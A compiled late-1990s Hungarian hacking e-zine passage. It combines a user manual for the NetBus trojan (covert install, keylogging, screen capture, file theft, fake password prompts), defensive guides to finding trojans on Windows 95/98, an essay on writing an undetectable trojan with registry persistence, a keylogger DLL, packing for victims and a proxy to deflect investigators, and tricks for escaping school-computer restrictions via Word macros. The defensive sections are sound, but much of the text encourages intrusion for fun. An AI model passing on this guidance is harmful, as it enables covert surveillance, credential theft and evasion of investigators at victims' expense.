:) - System reboot Hatása: reseteli az illetô gépét

Keresés

94

Hackers’ Guide

Ha nem tudsz senkit, aki éppen fenn van, és telepítve van neki a BO, akkor rá is kereshetsz. Grafikus kliensnél ehhez az alsó "Ping..." feliratú gombra kell kattintani, majd a "host list"-ben meg kell adni egy filenevet, ami a vizsgálandó IP címeket tartalmazza (az utolsó karakter lehet *), végül pedig "Find..." gombra kell kattintani. A Matáv IP lista letölthetô innen.

Eltávolítás A BOSERV leszedése: keress egy 124,298 (+-30)byte méretű filet a registryben(c:\windows\regedit.exe) a HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\RunOnce címen - valószínűleg ez lesz a BO. Szedd ki, majd töröld a filet a WINDOWS\SYSTEM könyvtárból!

Video

************************************************************************************************ NetBus 1.70 Leírás

� I. Általános információk A NetBus egy úgynevezett trójai program. Ez annyit jelent, hogy a célgépre valahogy fel kell sikeríteni a program szerver részét, melyhez aztán hozzá lehet kapcsolódni a klienssel. Akkor pedig nincs megállás... A NetBus segítségével gyakorlatilag átveheted az irányítást az illető gépe felett, mindent megtehetsz ami neki jogában áll. Azaz egy dolgot mégsem: nincs direkt módszer a felhasználó jelszavának megtekintésére, mint teszem azt a Back Orifice-ban. A NetBus minden TCP/IP kompatíbilis hálózaton használható, beleértve az Internetet is, kell hozzá: Windows 95/98/NT 4.0 (korábbi NT-n nem tudtam kipróbálni bár biztos megy). Kevésbé elterjedt, ám szerintem sokkal poénosabb, mint a BO.

� II. Installálás a) Windows 95/98 A gépen amellyel játszani akarsz, futtatni kell a Patch.exe nevű file-ot, amit persze bármilyen exe-re át lehet nevezni. Ez a file nem törli magát (erre figyej ha észrevétlen akarsz maradni, vagy működj egy jól elrejtett könyvtárban :), viszont beírja magát a registrybe és minden bootnál újraindul. Futás közben, mondanom sem kell, nem látszik. A Patch.exe a következő paraméterekkel használható: /noadd - a szerver csak lefut, nem indul újra minden bootoláskor. Ezt akkor használd, ha teszteled vagy ilyesmi

95

Hackers’ Guide

/remove - eltávolítja a szervert mind a memóriából, mind a registryből /pass:xxx - az xxx helyén megadott jelszóval installálja a szervert (azaz csak ennek ismeretében lehet a géphez hozzáférni) /port:xxx - a szerver nem a default 12345-ös porton fog figyelni, hanem az xxx-en b) Windows NT Nos, ezen a rendszeren még nem volt túl sok alkalmam tesztelni (suli hálózat rulez!). Amit fentebb leírtam, az helytálló itt is, a következő különbségekkel: az biztos, hogy a kliens rész remekül megy NT alól is, tehát gond nélkül rá tudsz kapcsolódni 95/98-as szerverekre, viszont problémásabb a szerver installálása. Tapasztalataim szerint ahhoz hogy premanensen fel tudja rakni magát a NetBus, nem árt, ha birtokoljuk minimum a lokális rendszergazda jogait. Ám még így sem minden teljesen okés...

� III. A NetBus használata, funkciói A gombok, illetve mezők, fentről lefele, balról jobbra ahol ez lehetséges:

� Server admin: Itt végezheted el a szerverrel kapcsolatos beállítások egy részét (a másikat a Server setupnál). Ha erre kattintasz, újabb menübe jutsz, ahol kiválaszthatod, hogy mely IP számokról lehessen hozzáférhető a szerver. Figyelem! Nem tanácsos Interneten keresztül használni, hiszen az IP számok jobbára dinamikusak, így legközelebb (egy nuke után...) talán már te sem tudsz rácsatlakozni a gépre. A Close server bezárja a szervert (mik vannak!), a remove pedig bezárja meg ki is pucolja a registryből. � Open CD-ROM: Találd ki. Ha van CD-je az illetőnek, ez kinyitja. Másodszori kattintásra bezárja. Előnye: fenomenális poén. Hátránya: nem kapsz visszajelzést arról, hogy sikerült-e... � In interval checkbox: Megadhatod, hogy milyen gyakran nyitogassa-csukogassa a CD meghajtót (másodpercben) � Show image: Megjelenít egy képet az illető képernyőjén. Ha nem adsz meg teljes eltérési utat, akkor a patch könyvtárában fog keresgélni utána. A BMP-t és a JPG-t ismeri. � Swap mouse: Az egyik kedvencem. Kicseréli az egér két gombját (gy.k. jobb --> bal és bal --> jobb) � Start program: Értelemszerű. Elindítja a megadott programot. Nem árt ha ismered az eltérési utat vagy olyan programnevet adsz meg (pl. wordpad.exe) ami benne van a path-ban. � Msg manager: Szintén remek poénforrás. Ezzel üzenetet küldhetsz, ablakok formájában. Hátránya a BO-val szemben: nem lehet akármi a címsorban. Előnye: kiválaszthatod, milyen gombok legyenek rajta (pl. yes/no/cancel), sőt a user válaszolhat rá. Ha nagyon pofátlan vagy, ezzel jelszót is kérhetsz ;-) � Screendump: Nagyon jó funkció, egy screenshot-ot készít az illető aktuális képernyőjéről. Itt minden tekintetben lekörözi a BO-t, mert a screendump JPG-be csinálja a képet (sokkal kevesebbet foglal) és egyenesen a te gépedre, a NetBus proggy könyvtárába teszi temp1.jpg néven. Ám ha a beérkezett képre kattintasz a jobb gombbal, akkor elmentheted más néven is (figyelj arra, hogy a kiterjesztést is be kell gépelni). � Get info: Egy kis információ az éppen bejelentkezett felhasználóról. Meg arról, hogy a szerver permanens-e stb...

96

Hackers’ Guide

� Host name/IP: A célgép neve/IP száma. Ez talán a legfontosabb rész, hisz itt kell kiválasztanod, hogy melyik gépen akarsz garázdálkodni. Ha ide localhost-ot írsz be, akkor a kliens megpróbál a saját gépedre kapcsolódni (ha persze nem raktad fel magadnak a szervert, hiába). Ez tapasztalatszerzés céljából hasznos és ajánlott, mert a legtöbb funkciót magadon jó először kipróbálni (a send text kivételével ezek működnek is). Ide akár a gép hálózatbeli nevét (pl. Station105) akár az IP címét beírhatod (pl. 195.56.250.138). Ha le akarod nyúlni IRC-n valakinek az IP címét, írd be: /dns név, ahol a nevet helyettesítsd az illető nickjével (ha most a BSB-re asszociáltál, sürgősen felejtsd el amit itt olvastál és foglalkozz inkább a BRAVO-val ;-). A legördülő menüből az IP listádból válszthatsz egyet. � Port: A port száma, amelyen a szerverre akarsz kapcsolódni. Ez, hacsak nem adtál meg mást, minden esetben 12345. � About: About. � Memo: Megnyitja a memo.txt nevű file-ot, ahova mindenféle hasznos információkat írhatsz fel. � Add IP: Hozzáadhatsz egy IP számot a listához. � Del IP: IP szám törlése a listából. � Connect!: Ezzel kapcsolódhatsz rá a Host mezőben megadott gépre! � Scan!: Adott domainen szerver keresése. Meg kell adnod a kívánt domain kér szélsőértékét, majd elindítani a keresést. Kilistázza a tartományban található összes szervert, elég gyors. � Port redirect: Egy adott portra érkező adatokat átirányíthatsz a saját gépedre (vagy akár egy másik gépre), tetszőleges portra. � Play sound: Lejátszhatsz a hangkártyáján egy Wave formátumú hangot. Szintén a vinyóján kell lennie, eltérési úttal kell megadni vagy a Patch könytárában fogja keresni. � Exit Windows: Ezzel nagyon vigyázni kell. Mint a neve is mutatja, kilépteti a felhasználót a Windows-ból, mégpedig négy különféle módszer segítségével: Logoff (csak a belépési képernyőhöz kerül vissza), Reboot egyértelmű), illetve Shutdown és Power off, amelyeket még nem próbáltam, de valószínűleg csak ATX kompatíbilis táppal műküdnek... Azért kell vigyázni vele, mert az illetőt ez a funkcó levágja a Netről is, azaz tejelheti újra a telefonszámlát ahol már tréfának helye nincs. Ilyet soha ne csinálj (...csak LAN-on vagy TVNet-es ürgével, akinek nem kerül pénzbe)! � Send text: Az ide beírt szöveg bekerül az éppen aktív programba (persze csak ha van ilyen lehetőség benne). Ha Entert akarsz küldeni, a | karaktert kell használnod. � Active windows: Megmutatja az éppen aktív ablakokat. A Refresh gombra kattintva hozhatod le/frissítheed a listát, a Kill window gomb kiirtja azt, amelyiken épp a kurzor van (magyarul bezárja) - figyelem, ha bezártál valamit, frissíts - a Focus window pedig a kurzor alatti ablakot teszi aktívvá. � App redirect: Egy adott program I/O adatforgalmát átirányíthatod a saját géped felé. Ha a telnettel rákapcsolódsz a gépre az adott porton, kommunikálhatsz vele (mint a BO). � Mouse position: Be lehet állítani az egérkurzor koordinátáit pixelre pontosan. � Listen: A célgépen leütött billentyűk megjelennek a te ablakodban, sőt amit ide beírsz azt elküldi! � Sound system: Wave/Synth/CD balance beállítása a gépen, adott másodperces hosszúságú WAV file felvétele a célgépen. Zseniális, ha az illető gépen van mikrofon bedugva. � Server setup: Port/jelszó/notify e-mail beállítása (fakultatív). Az első mezőbe saját e-mail címedet írd, a másodikba azt, hogy milyen névről küldjön, a harmadikba pedig

97

Hackers’ Guide

az SMTP szerver nevét. Ha helyesen töltötted ki ezeket, akkor a gép, ahogy tulajdonosa rákapcsolódik az Internetre, elküld a megadott címre egy e-mailt, amiből te máris tudod hogy lehet nyomulni... Send setup: a beállítások elküldése, Patch server: a szerver felülírása (pl. újabb verzióval) � Control mouse: A saját egereddel irányíthatod az övét. No comment. � Go to URL: Elindítja és a megadott címre irányítja a default web browsert. � Key manager: A billentyűzeten tetszőleges gombok letiltása, hangjelzés kiadása billentyűleütés esetén. � File manager: A Show files-re kattintva lehozza a vinyói tartalmát. Minden egyes file szerepelni fog a listán, ezért ez jó ideig el fog tartani. Ha egyszer kész van, akkor egy temp1.dsk nevű file kerül a NetBus könyvtáradba, amely az információkat tartalmazza. Ekkor a meghajtókon Windows-szerű felületen mászkálhatsz, a Download a kijelölt file-ot letölti a NetBus könyvtárba, az Upload-dal te tölthetsz fel valamit, a Delete pedig töröl (kétszer is gondold meg mielőtt ilyet teszel kérlek). � Állapotsor: A csík alul. Itt mutatja a NetBus állapotát. No connection: nincs kapcsolat. A Connected to IP (ver 1.70) annyit jelent hogy sikeresen rajta vagy a célgépen, és a szerver verziószámát is mutatja.

� IV. Végszó Hát ennyi fért bele. A NetBus az egyik legjobb program amivel eddig találkoztam, remek szórakozást nyújt... Azon kívül a megfelelő kezekben fegyverré is válhat, a fenti funkciók ügyes kombinálásával könnyen lehet LAN-on Win95/98-as gépekről jelszót szerezni... Na legyetek jók, és tudjátok a jelszót: míg a Matáv el nem választ :)))!

A szerző: Carl-Fredrik Neikter

e-mail: [email protected]

A leírást elkövette: Red Dawn

e-mail: [email protected] irc: #babalany

************************************************************************************************ Trójai programok felderítése WIN95/98 alatt I.

Ha egy trójai program kerül a gépedre az elsősorban a te hibád. A legvalószínűbb, hogy egy IRC-n vagy más chat-en szerzett "barátod" küld neked egy érdekes futtatható programocskát, amiben aztán ott lapul a kedves kis NETBUS, BO esetleg

98

Hackers’ Guide

BACKDOOR-G. Másik lehetőség hogy amikor játszani hívod a barátaidat valamelyik aranyos felnyomja a gépedre, hogy azután jót szórakozzon veled. Mint köztudott igazi hackerek csak ritkán használják, mivel ezzel csak szegény lamer barátainkat lehet megszívatni. De ez most nem is lényeg, nem is erről fogok írni, hanem arról, hogy hogyan tudod megtalálni ezeket a programokat a rendszereden, ha esetleg valaki mégis felcsempészte. Én öt módját ismerem, és szerintem nincs is több. Ezekkel 100%-osan ki lehet szűrni a kéretlen programokat. 1. A legnyilvánvalóbb, amit senki sem használ: autoexec.bat. Ne nevess, csak azért írtam ide, hogy teljes legyen a gyűjtemény. 2. Ami ennél kissé mélyebre nyúl az a registry. Indtítsd el a regedit programot és nézz be a következő registry értékekhez: > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run Itt aztán egyesével nézd végig hogy milyen programok kerültek fel. És ellenőrizd le, hogy az a program tényleg kell e a rendszered futásához. (pl NetMouse-t kezelő prog, a VOODOO BANSHEE beállítások, ...) Ha nem, akkor mielőtt törölnéd nézd meg hogy nélküle is fut e hibátlanul a system. 3. Egy kevésbé ismert módszer a win.ini-t használja ki. Ezt viszonylag egyszerű megtalálni. Egy run=trojan.exe sort kell keresni, ahol persze a trojan.exe nem trojan.exe lesz, hanem valami más név, de tök mindegy mi van ott, szedd ki. 4. A negyedik módszer a legkevésbé ismert. Eddig csak egy trójai progit tudok, ami ezt használja a BACKDOOR-G. Szóval itt a system.ini-ben kell keresni a kiskaput. Ez is egyszerű, ha valaki tudja mit kell nézni. Keress egy olyan sort, hogy shell=Explorer.exe. Ha ezután van még valami írva (pl. trojan.exe) akkor gyorsan töröld ki onnan. (a shell=Explorer.exe maradjon, csak ami utánna van az nem kell) 5. És az ötödik módszer aminek használatával tudomásom szerint egyik trójai program sem foglalkozik. Ez a direkt file-ba írás. Érdemes tehát a fontosabb fileok méretét felírni (pl. explorer.exe, win.com, command.com, ...) Aki nem igazán ért ezekhez, de azért szeretné biztonságba tudni a rendszerét, ajánlom töltse majd le a websiteomról az én kis progimat, ami ezeket a kereséseket automatikusan elvégzi. A website még nincs kész, meg a progi sem :) de majd megírom ha lesz :) Hát mára ennyi. GüTyKa ([email protected]) ************************************************************************************************

99

Hackers’ Guide

Trójai programok felderítése WIN95/98 alatt II.

Ha "sikeresen" begyűjtesz egy trójait, akkor - amint azt ahogy mondani szoktam - "egyéni szociális probléma" vagyis már késő azon síránkozni, hogy "jajj...jajj... honnan van" hanem inkább minél előbb le kell szedni. Ez a kis leírás segíteni próbál abban, hogy hol érdemes nekikezdeni a keresgélésnek, ha tiszta véletlenségből nem lenne egyetlen egy darab virker. (NAV) és trójai kereső (Cleaner) sem a gépeden.

1. Registry: A leggyakrabban használt módszer a trójai programok körében. Ide ugyanis kevés felhasználó téved el... =) Ha egy trójai programnál be van az állítva, hogy automatikusan induljon minden windows indításnál akkor azt (többek között) ezen a helyen kell keresni:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run/

Itt érdemes körülnézni, nem odavaló programok iránt. Persze csak óvatosan birizgáld ezeket a részeket mert előfordulhat, hogy a buherálásod végeredményeként win reinstall lesz az eredmény! =) 2. A win.ini: Ezt könnyű felderíteni, mert minden win.ini ben van egy run= sor. Ha van utánna valami az már eleve gyanús! =) Persze előfordulhat, hogy valami program, de az elérési útból általában kiderül. Ha mondjuk a Progra~1\Micros~1\valami akor azt ne nagyon piszkáljuk mert az kellhet. De ha már valami a windows\system könyvtárba mutat és az adott fileról nem sikerül kideríteni, hogy mire is jó akkor ott 50%, hogy bibi lesz... 4. A system.ini: Ez a módszer is hasonlatos a win.ini-s módszerhez. Csak itt nem run= sor van, hanem a shell=Explorer.exe után fűzi be magát. Pl:shell=Explorer.exe trojan.exe. Ha ez az ábra akkor csak az Explorer.exe-t hagyjuk bent a többit ami utánna van azt nyugodtan törölheted! (Max a win-t kell majd újrainstallálni =D) 5. A hozzáfűzés: Ezt általában csak a trojan álcázására használják, de IMHO eredményesen lehet használni olyan trójai programoknál, ahol nem lehet beállítani, hogy automatice induljon el minden win indításnál. (Sőt. Ezek után érdemes is beállítani, és akkor nem kerül be sem a reg-be, sem sehova. Csak érdemes olyan programhoz hozzáfűzni, ami minden indításnál elindul, legalábbis gyakran van futtatva...) A hozzáfűzés röviden annyit jelent, hogy egy valódi programot (prg.exe) és a trójai programot (troj.exe) összefűzik 1 file-ba (hacked.exe), úgy, hogy ha elindítja az áldozat a már megpatkolt programot (hacked.exe) azzal együtt a trójai (troj.exe) is elindul a háttérben, és a valódi program (prg.exe) is lefut. Felderítés csak méretellenőrzéssel lehet, vagy az esetleges árulkodó jelek alapján. Pl: A BO-t, a Silkrope-pal való összetrükközésekor nállam a NAV simán kiszúrta!

- H3XR00T - http://hexnet.hpage.net/

100

Hackers’ Guide

************************************************************************************************ Trójai programok felderítése WIN95/98 alatt III. A trójai programok definíció szerint olyan programok, amelyek valami mást csinálnak, mint amit a felhasználó elvár, illetve olyan tevékenységeket folytatnak, amirol a felhasználó nem tud. Fontos, hogy a trójai programok NEM VÍRUSOK! Önálló programként is képesek muködni. Veszélyesek, mert segítségükkel valaki könnyedén ellophatja titkainkat, hozzáférhet jelszavainkhoz, lemásolhat fájlokat és szoftvereket a gépünkrol, anélkül, hogy tudomást szereznénk róla. Most leírom, hogyan terjednek a trójai programok, hogyan lehet felismerni, ha a gépünkön van egy, valamint néhány módszert a megelozésre és a kigyomlálásukra. A trójai programok terjedését az IRC nagyban segíti. Szinte kivétel nélkül a Windows operációs rendszerre íródtak. A kezdo felhasználókat gyakran ejtik át rosszindulatú tapasztaltabbak, akik szórakozásból, vagy ingyen internet-elérés megszerzésének reményében veszik rá a kezdoket arra, hogy feltegyék a trójai programokat. Fontos tudni, hogy a trójai programok általában önálló programok, amelyeket eloször elindítva telepítjük fel a gépünkre a veszedelmes eszközt. Tehát az elso indítás. Ha ismeretlentol, nem megbízható helyrol kapunk egy programot (.exe, .com vagy .dll, esetleg ritkán .sys kiterjesztésu fájlokat), ne fogadjuk el, annyira nem lehet rá szükségünk. Ha mégis elfogadtuk, még nincs gond, ne indítsuk el! Ha nem indítjuk el, nem kerül bele a memóriába, és nem tud kárt okozni. Sok trójai program képes arra, hogy mint egy vírus, más programokhoz tapadjon hozzá. Az ilyeneket pl. játékprogramba vagy más, hasznos segédprogramnak mondott programba ágyazzák bele a ravaszok. Ha nem indítjuk el, nem lehet baj. Sokszor nagyon ravasz trükköket vetnek be, hogy rávegyenek bennünket az elindításukra. (Egy idoben gyakori volt, hogy az elterjedt amoba-programba rakták bele, és megkérték az áldozatot, hogy játsszon velük egy partit. Ha szerencséjük volt, az áldozatnak még nem volt meg ez az amoba-program, és "nagylelkuen" elküldték neki, természetesen egy trójai programmal megfertozve.)

Ha arra gyanakszunk, hogy trójai program fut a gépünkön, ellenorizzük a következo dolgokat.

1. Registry.

A registry-t rendszerleíró adatbázisnak "magyarították". Sok minden más egyéb funkciója mellett itt tárolják, hogy mely programokat kell elindítani, amikor a Windows betöltodött. A Start>Programs>StartUp menüben is elhelyezhetünk programokat, amelyek indításkor automatikusan elindulnak, de a trójai programok ide nem helyezik magukat, mert ezt nagyon könnyu felismerni. A registry létezésérol viszont a kezdo felhasználó nem is tud. Válasszuk a Start>Run menüpontot, és írjuk be: "regedit". (Idézojelek nélkül.) Ekkor megnyílik a regisztrációs adatbázis szerkesztoprogramja. A bal oldali szerkezetben navigáljunk a

101

Hackers’ Guide

HKEY_LOCAL_MACHINE>Software>Microsoft>Windows>CurrentVersion mappába, és kattintsunk a Run mappára.

Jobboldalt megjelenik a Run mappa tartalma. Ez a mappa tartalmazza azokat a programokat, amelyek a rendszer indításakor automatikusan elindulnak. Sok olyan dolgot találhatunk itt, amirol nem tudjuk, micsoda. Minden programhoz van megadva elérési út is. Ha nincs, az azt jelenti, hogy valószínuleg a Windows könyvtárban található, de rá is kereshetünk a fájlnévre a Start>Find menüponttal. Mindegyik programról derítsük ki, hogy melyik könyvtárban van. A trójai programok általában a Windows könyvtárban helyezkednek el (ha vannak), és általában nincs odaírva elérési út, csak a fájlnév. Ez azért van, mert ha nem írunk elérési utat, akkor a Windows eloször a Windows könyvtárban nézi meg, hogy ott van-e a fájl. Ha a trójai program máshol lenne, akkor oda kellene írni az elérési utat is, és ez lebuktatná, mert egy Windowsos számítógépen majdnem biztos, hogy van Windows könyvtár, de ha más könyvtárba akarná magát rakni, akkor esetleg létre kellene hoznia a megfelelo könyvtárat, amelyben azután csak a trójai program lenne. Emiatt majdnem bizonyos, hogy azok között a programok között kell keresnünk a kakukktojást, amelyekhez nincs elérési út írva, vagy a c:\windows -ban vannak. A Windows jó muködéséhez alapvetoen három program kell innen: a "C:\WINDOWS\scanregw.exe /autorun", az "internat.exe" és a "SysTray.exe" (illetve csak az utóbbi ketto, az elso javasolt). A többi program rendszerenként változhat, attól függ, hogy milyen programok vannak a gépre telepítve, stb. Mindegyiket ellenorizzük, és ha olyat találunk, amelyikrol nem tudjuk, micsoda, függesszük fel! Ehhez kattintsunk jobb gombbal a nevére, válasszuk a Rename pontot, és a program neve elé (pl. "internat.exe"), de az idézojelen belülre írjuk be "rem " (így lesz belole "rem internat.exe"). Ezt hajtsuk végre az összes gyanússal, majd lépjünk tovább.

A következo hely, ahol trójai programok gyakran megbújnak, a RunServices mappa. Itt ismételjük meg a muveletet. A biztonság kedvéért nézzük meg az összes "Run"-nal kezdodo mappát. Ezután zárjuk be a registryt és indítsuk újra a gépet. Ha rendellenes muködést tapasztalunk, vagy a gép nem indul el, csökkentett módban indítsuk, és töröljünk ki egy-két "rem"-et, csak amelyikrol úgy gondoljuk, hogy feltétlen szükséges programot függeszt fel.

Elofordulhat, hogy olyan programot is felfüggesztünk, amelyikre szükségünk van, mint pl. Norton CrashGuard vagy akármi. Ilyenkor szintén szedjük ki elole a rem-et. Csak a gyanúsak elott maradjon. Ha újraindítás után a gép pontosan ugyanúgy viselkedik, mint elotte, és minden program, amire szükségünk van, elindult, akkor a felfüggesztett sorokat törölhetjük a registrybol. (FIGYELEM! Javasolt pár napi próbaüzem után tenni ezt. Lehet, hogy késobb kiderül, hogy mégis szükségünk van egy sorra.)

2. Win.ini

Válasszuk a Start>Run menüpontot és írjuk be: "win.ini". A win.ini fájl szintén beállításokat tartalmaz, és még régrol maradt a Windows-ban, már a Windows 3.0 is tartalmazta. (Illetve lehet, hogy az azelotti verziók is, azokhoz nem volt szerencsém.) Keressünk benne (valahol az elején) olyan sort, ami úgy kezdodik, hogy "run=" és "load=". Bármi áll ezen elotagok után, töröljük (nekem sok minden van installálva, de mégsincs ott semmi). Tehát pl volt "run=valami.exe", akkor a valami.exe-t töröljük, hogy csak "run=" maradjon. Ugyanezt a loaddal. is.

102

Hackers’ Guide

3. System.ini

Ugyanúgy nyithatjuk meg: Start>Run és "system.ini". Itt a "shell=" sorra vadásszunk, és ha nem "explorer.exe" van ott, akkor írjuk át arra.

4. Vírusirtás

Javaslom vagy a McAfee ViruScan-ját, vagy a Norton Antivirust használni, minél frissebb vírusadatbázissal, mert ezek nagyon sok trójai programot felismernek. Természetesen más vírusirtó szoftver is jó lehet, én saját tapasztalataimra támaszkodva javaslom ezeket.

5. Végso ellenorzés

Ha mindennel végeztünk, indítsuk újra a gépet. Ezután nyissunk egy MS-DOS ablakot, és írjuk be: "netstat -a". Ez kilistázza nekünk az összes TCP és UDP kapcsolatot. Ez a lépés kezdoknek valószínuleg nem mond semmit, viszont akik már tapasztaltabbak, itt le tudják ellenorizni, hogy van-e olyan port, amelynek nem kellene nyitva lennie. Ha van, akkor a portszám alapján utána lehet nézni, hogy melyik trójai program figyel tipikusan azon a porton, és ezután megkeresni ezen trójai program dokumentációjában, hogy hogyan lehet azt eltávolítani.

Sok trójai program telnet-protokollal muködik, azaz be lehet telnetelni a portjára, és egy meghatározott paranccsal le lehet magát töröltetni a lemezrol. Ezt általában azért építik bele ezekbe a trójai programokba, hogy a feladatuk végrehajtása után a nyomaikat eltüntessék. Ennek szintén az adott trójai program dokumentációjában nézzünk utána.

MEGJEGYZÉS: aki azt gondolja, hogy a neten fellelheto trójai-eltávolító programok használatával biztos kezekben van, az nagyon téved. Bárki írhat saját trójai programot (pl. akár te is), amit már se vírusirtó, se efféle programok nem fognak felismerni. A fent ismertetett módszerek segítségével felismerhetünk és eltávolíthatunk bármilyen trójai programot. További javaslatom, hogy használjunk valamilyen tuzfalprogramot (pl. Conseal PC Firewall), ezek megakadályozzák, hogy az internetrol a trójai programot szólongató idegen kommunikálni tudjon a trójai programmal, ezáltal kihúzzák a méregfogát (feltéve, hogy jól van konfigurálva). Akinek bármilyen kiegészítése, megjegyzése van, vagy tévedést talált a szövegben, kérem írjon az e-mail címemre. ([email protected]) ************************************************************************************************ Szempontok Windows trojan készítéséhez

Az utóbbi idõkben nagyon divatosak lettek a windowsos trojanok,de nagyrészüket a vírusscannerek már felismerik és el is távolítják.Ha biztosra akarunk menni,a legjobb megoldás,ha saját trojant írunk.Ehhez (szerintem) a Delphi a legjobb fejlesztõeszköz,mivel ezzel könnyedén készíthetünk TCP/IP alkalmazásokat.Kezdjük

103

Hackers’ Guide

mindjárt az alapokkal.....Hogyan is müxik egy trojan? A trojan két részbõl áll : egy server és egy client részbõl.A server alkalmazást kell felpakolni az áldozat gépére,a klienssel pedig különbözõ parancsokat,utasításokat küldünk a servernek,amely ezek alapján viselkedik.A trojan server tehát egyszerû winfos alkalmazás,amely alapból tartalmaz egy server socketet,amely a gépen egy adott porton figyel,és az ide érkezõ adatok alapján viselkedik.Ha a gépünkön találunk egy olyan portot,amelyik listening állapotban van(netstat -a parancs kiírja a gépünkön lévõ aktív socketeket,azok portjait,állapotát,és a hostot),és ez esetleg valamely közismert trojan server socketjének a portja,felmerülhet a gyanú,hogy gépünkön valaki garázdálkodik.Nna,szóval.....vissza a programozáshoz...

A trojan-server alkalmazás magja tulajdonképpen a parancsértelmezõ és végrehajtó rendszer,amely a server socket portjára érkezõ parancsok,adatok hatására különbözõ mûveleteket hajt végre(Pl : alkalmazás indítás,Tasklista küldése a kliensnek,stb).

Nagyon fontos szempont még a trojan server elrejtése,hogy minél észrevehetetlenebbül tudjon mûködni,és az egyszerû user ne tudja könnyen felfedezni.

Az egyik alapmódszer,hogy a tasklistában ne legyen látható a futó program.Ezt különbözõ Winfos API hívásokkal,trükkökkel érik el.A részletezést most kihagynám,mert más lapra tartozik.

Meg kell még oldanunk,hogy a trojan-server minden egyes Windoze induláskor automatice elinduljon....A progi startup könyvtárba helyezése nem igazán lenne jó móccer.... :) Erre inkább registry-t használják...van egy bejegyzés HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run ,ami a winfos indításakor automatice lefuttatandó alkalmazásokat tartalmazza....Nna most,ha a server trojanunk az áldozat gépén van,teszünk egy registry bejegyzést a fenti helyre a progiról,és ezzel a problem meg van oldva.

Ok...Tehát nem árt ,ha a server-trojanunkba belerakunk egy olyan rutint is,ami leellenõrzi,hogy elõször lett-e futtatva az adott gépen(Pl : A registry bejegyzés ellenõrzésével),és ha igen,akkor az alkalmazást,és az esetleges dll-eket(ha keylogot is tud a server,akkor a keylogger rutint mindenképp egy dll-ben kell elhelyezni,a WinAPI megkötése miatt(mivel ha az összes futó alkalmazás winfos-üzeneteit akarjuk monitorozni,a WinDoze API ebben az esetben a hookot csak dll-re irányíthatjuk(legalább is ha szt szeretnénk,hogy müxxön is)),egy jól eldugott helyre másolja,a registry bejegyzést beállítsa magára,majd normál módon fusson tovább....

Egyébként érdemes az összes file-t egy exe-tömörítõvel összetömöríteni,és beállítani,hogy kitömörítés után futtassa le a server .exe-jét...Így egyetlen fileként adhatjuk át áldozatunknak a szeretetcsomagot... :))

A trojan-clientekrõl nem igazán lehet sokat elmondani,eccerû winfos alkalmazások ezek is,amelyek a célgép adott portjára connectolnak,majd parancsokat küldenek,illetve az ezekre a servertõl érkezõ válaszokat vaszik át,dolgozzák fel.Ha elõször készítünk trojan,érdemes olyat készíteni,ami sima telnettel vezérelhetõ. Nna....ennyit az alapokról,jöjjön néhány extra jótanács...

104

Hackers’ Guide

Ha észrevesszük,hogy valaki a gépünkön garázdálkodik és a netstat -a parancs kiadása után felfedezzük a gyanús TCP portot,akkor elolvashatjuk a gépünkhöz connectolt client hostját,illetve IPjét(feltéve ha nem használt valamilyen WinGate servert,vagy egyéb trükköt,mert akkor xart sem ér).Esetleg vissza is vághatunk.....(Ebbõl adódik,hogy érdemes UDP alapú servert írni.)....Ezután nézzük meg egyszerûen a fenti registrybejegyzést,és nagy valószínüséggel itt megtaláljuk a trojan-server progit....

Érdemes a trojanba valamilyen portmappert,gateway-t,wingate-et,http proxy-t,vagy valamilyen hasonló dolgot tenni....Ha ugyanis rosszalkodni akarunk,akkor azt az õ gépén keresztül megtehetjük,és ha esetleg bukta van,akkor a nyomozók eljutnak áldozatunkig,de itt megáll az egész,mivel a WinDoze nem hagy logot az ilyen dolgokról... :)

Összeütötte : Th3NmY ************************************************************************************************ Kevésbé ismert Windows'9x biztonsági lyukak Az anyag fordítás, eredeti cím/szerzo: "Windows 95/98 Security Holes, Revision 1.71" /Neon Bunny/. Sok iskolában és üzletben Windows 95/98 operációs rendszert használnak. Itt van néhány trükk, hogyan hackeljük ki belole a védelmeket! Néhány ötlet a kezdoknek szól, de ne reklamálj miatta, sose tudhatod, hátha tanulsz valami újat!

A fo útja a tiltott területekhez való hozzáférés megszerzésének az "Open/Save" párbeszédablakok használata. Ez nagyon gyakran használatos, majdnem minden programban ezzel mentjük/töltjük be a munkánkat a lemezrol. Ebben van egy szövegablak, ahol a dokumentum elérési útját (path) írhatjuk be. Ha beírjuk "\\server" akkor a server nevu hálózati gépen levo megosztott könyvtárakat látni fogjuk. A helyi meghajtók, amelyekrol elvileg le vagyunk tiltva, szintén elérhetoek innen, írd "c:\*.*" és látod a fájlokat, pedig a sysadmin letiltotta. Ugyanez a trükk eljátszható az Internet Explorerral és a Netscape Navigatorral is.

A Microsoft Word remek hackelési segédeszköz, mert nagyon sok helyen rosszul van konfigurálva. A legfobb probléma vele, hogy túl sokoldalú és saját programozási nyelve van. Bármely programot elindíthatjuk vele, mint pl. Explorert, Registry Editort, stb. A Word95-ben válaszd a Tools>Macro... menüpontot, írj be egy új nevet, és üss entert. Bejutsz a Word Basic-be, ahol csak annyit kell tenned, hogy a "Sub Main" és az "End Sub" közé ezt írod:

shell "c:\windows\explorer.exe"

105

Hackers’ Guide

A play gombra kattintva elindul az explorer, ahogy akartad.

Az igazán jó dolog a jó öreg makrókkal az, hogy nem vonatkoznak rájuk a Windows biztonsági beállításai, pl. elindíthatod a Policy Editort akkor is, ha normálisan le van tiltva. Állítsd át a beállításokat, hogy hozzáférhess a Registry Editorhoz, aztán ugyanezen a módon a registryben kapcsold ki a védelmeket.

Ha letörlöd az appwiz.cpl fájlokat, akkor megkerülheted a "Create Shortcut Wizard"-ot... a .lnk fájl létrejön azért, egy jobb-gomb kattintással átállíthatod a beállításokat, hogy pl. a kedvenc .exe fájlodra vagy a rejtett meghajtóra. Ha ez nem muködik, akkor hozz létre egy új fájlt, és nevezd át .lnk kiterjesztésure, majd az elobbi módon állítgasd át (jobb gombbal kattints és Properties).

A login képernyonél üss Control+Esc -et, ezzel a TaskManagerhez jutsz. Onnan elindíthatod az Explorert, hogy desktopot nyiss magadnak, vagy ilyesmi. Ez megelozheto, ha a system.ini [boot] részébe betesszük ezt a sort:

taskman.exe=<restricted>

